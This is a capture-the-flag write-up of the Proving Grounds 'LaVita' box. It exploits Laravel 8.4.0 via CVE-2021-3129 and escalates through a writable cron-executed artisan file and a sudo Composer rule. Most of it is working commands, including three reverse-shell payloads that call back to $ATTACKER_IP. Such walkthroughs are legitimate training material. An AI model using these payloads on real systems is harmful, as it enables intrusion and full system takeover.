# LaVita Writeup - Proving Grounds

> Intermediate Linux box running Laravel 8.4.0 with open registration, exploited by enabling debug mode and firing the CVE-2021-3129 Ignition log-poisoning RCE for a www-data shell, then escalated through a cron-executed artisan file and a scoped sudo Composer rule to root.

- **URL:** https://hackindex.io/writeups/lavita
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** deserialization, laravel, cron-abuse, sudo-misconfiguration, gtfobins, cve-2021-3129
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

LaVita runs Laravel 8.4.0 with open registration. Enabling debug mode from the authenticated dashboard exposes CVE-2021-3129, a log-poisoning deserialization bug in Laravel Ignition that gives a shell as `www-data`. A writable `artisan` file executed by a cron job moves that into a shell as `skunk`, and a scoped sudo rule for Composer finishes the job as root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2
# 80/tcp open  http    Apache 2.4.56 (Debian)
```

The site is "LAVITA E BELLA", a Laravel app. Its team page lists a **Johnny Skunk**, which maps to a `skunk` system user later on.

### Directory discovery

Brute force directories.

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt
# /login                (Status: 200)
# /register             (Status: 200)
# /home                 (Status: 302) -> /login
```

Registration is open. Browsing a non-existent path also returns a 404 page that reveals the exact version: **Laravel 8.4.0**.

## Enumeration

Register an account and log in. The authenticated `/home` dashboard has an **Enable** button for `APP_DEBUG`, currently off. An upload feature on the same page renames files and blocks PHP, a dead end. Enabling debug mode is the required step for CVE-2021-3129.

## Exploitation

### Laravel Ignition RCE (CVE-2021-3129)

With debug mode on, Laravel 8.4.0's Ignition error handler is reachable at `/_ignition/execute-solution`. The public exploit poisons the Laravel log file with a PHAR payload and triggers deserialization through that endpoint.

```bash
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
python3 exploit.py http://$TARGET_IP Monolog/RCE1 whoami
# [+] Logs cleared
# [+] PHAR deserialized. Exploited
# www-data
```

Command execution confirmed. Start a listener and send a reverse shell through the same exploit.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
python3 exploit.py http://$TARGET_IP Monolog/RCE1 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"
```

The listener catches a shell as `www-data`.

## Privilege Escalation

### www-data to skunk via a writable artisan cron job

Laravel's `artisan` entry point is owned by `www-data` but still writable.

```bash
ls -la /var/www/html/lavita/artisan
# -rwxr-xr-x 1 www-data www-data 1686 Nov 10  2020 /var/www/html/lavita/artisan
```

`skunk` has a cron job that periodically executes this file directly, not through `php artisan`, so the replacement has to be a shell script rather than PHP. Back up the original and drop in a reverse shell.

```bash
nc -lvnp 4444
# listening on [any] 4444 ...
```

```bash
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
```

```bash
cd /var/www/html/lavita
cp artisan artisan.bak
chmod +x artisan
```

Within a minute the cron fires and the listener catches a shell as `skunk`.

```bash
id
sudo -l
# uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
# (root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *
```

`skunk` can run Composer as root, scoped to the app's working directory. GTFOBins lists a `run-script` trick for this: write a `composer.json` with a malicious script and let sudo run it.

### Composer GTFOBins to root

From the www-data shell, back up and overwrite the app's `composer.json`.

```json
{"scripts":{"x":"bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/9999 0>&1'"}}
```

```bash
cp composer.json composer.json.bak
```

Start a listener, then run the script as root from the `skunk` shell.

```bash
nc -lvnp 9999
# listening on [any] 9999 ...
```

```bash
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
# root@lavita:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

Root shell received through the listener. A direct `/bin/sh -i 0<&3 1>&3 2>&3` script also drops to a root prompt but is less stable than catching a fresh reverse shell.

Related

## References

- [CVE-2021-3129](https://nvd.nist.gov/vuln/detail/CVE-2021-3129) - Laravel Ignition log-poisoning deserialization leading to remote code execution.
- [nth347 CVE-2021-3129 Exploit](https://github.com/nth347/CVE-2021-3129_exploit) - One-shot public exploit used for this box.
- [GTFOBins - Composer](https://gtfobins.github.io/gtfobins/composer/) - sudo composer run-script privilege escalation technique.
